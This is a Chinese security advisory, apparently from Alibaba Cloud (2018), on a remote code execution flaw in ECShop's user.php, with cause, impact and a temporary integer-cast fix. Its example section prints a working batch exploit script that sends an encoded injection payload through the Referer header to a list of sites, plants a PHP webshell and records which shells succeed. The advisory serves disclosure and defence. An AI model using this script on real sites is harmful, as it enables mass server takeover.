- A+
预警
2018年9月1日,阿里云态势感知发布预警,近日利用ECShop全系列版本的远程代码执行漏洞进行批量化攻击量呈上升趋势,该漏洞可直接导致网站服务器沦陷,黑客可通过WEB攻击直接获得服务器权限,利用简单且危害较大。因此,阿里云安全专家提醒ECShop系统用户及时进行修复。
早在1个月前阿里云态势感知就捕获到利用ECShop远程代码执行漏洞进行攻击的真实案例,由于当时该漏洞被利用进行攻击的量不大,阿里云安全团队在做好防御此类漏洞大规模利用攻击的同时,也持续监控该漏洞的利用趋势。本文对此漏洞的原理,漏洞攻击利用实例以及影响做了全面分析。在官方补丁没放出之前,建议受影响用户可参考文中的修复建议,及时进行修复。使用阿里云WAF的客户无需升级补丁即可防御该漏洞。
漏洞原理
该漏洞产生的根本原因在于ECShop系统的user.php文件中,display函数的模板变量可控,导致注入,配合注入可达到远程代码执行的效果。使得攻击者无需登录等操作,直接可以获得服务器的权限。
漏洞攻击实例
首先是网上下载一个ECShop_2.7.4cms安装好,这个就不说了。
一看,没什么,很正常,上利用poc脚本:
1.#!/usr/bin/python
2.# -*- coding: utf-8 -*-
3.import requests
4.import time
5.a="554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:280:\"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -\";s:2:\"id\";s:3:\"'/*\";}"
6
7.c=list(open('url.txt'))
8
9.for url in c:
10. try:
11. exp="http://"+url.strip()+"/user.php?act=login"
12. headers ={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0','Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Referer':a,'Accept-Encoding': 'gzip, deflate'}
13. m=requests.get(url=exp,headers=headers)
14. url2="http://"+url.strip()+"/1.php"15. time.sleep(2)
16. n=requests.get(url=url2)
17. if n.status_code==200:
18. print("shell地址是"+url2)
19. f=open("ok.txt","a")
20. f.writelines(url2)
21. f.close()
22. else:
23. print("不存在漏洞")
24. except Exception:
25. print("不存在漏洞")
我们来到网站,发现也是被写入了一句话木马:
这个漏洞危害还是比较大的!
漏洞影响
ECShop全系列版本(包括2.x、3.0.x、3.6.x)均存在该远程代码执行漏洞。阿里云态势感知数据研究中心监控的数据显示,该漏洞利用难度低,影响面广,并已经发现有批量入侵迹象,需要存在相关业务的用户及时关注并进行修补。
专家建议
在官方补丁没放出之前,建议站长可以修改include/lib_insert.php文件中相关漏洞的代码,将arr[id]和arr[id]和arr[num]强制将数据转换成整型,该方法可作为临时修复方案将入侵风险降到最低。需要修改的部分代码如下:
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫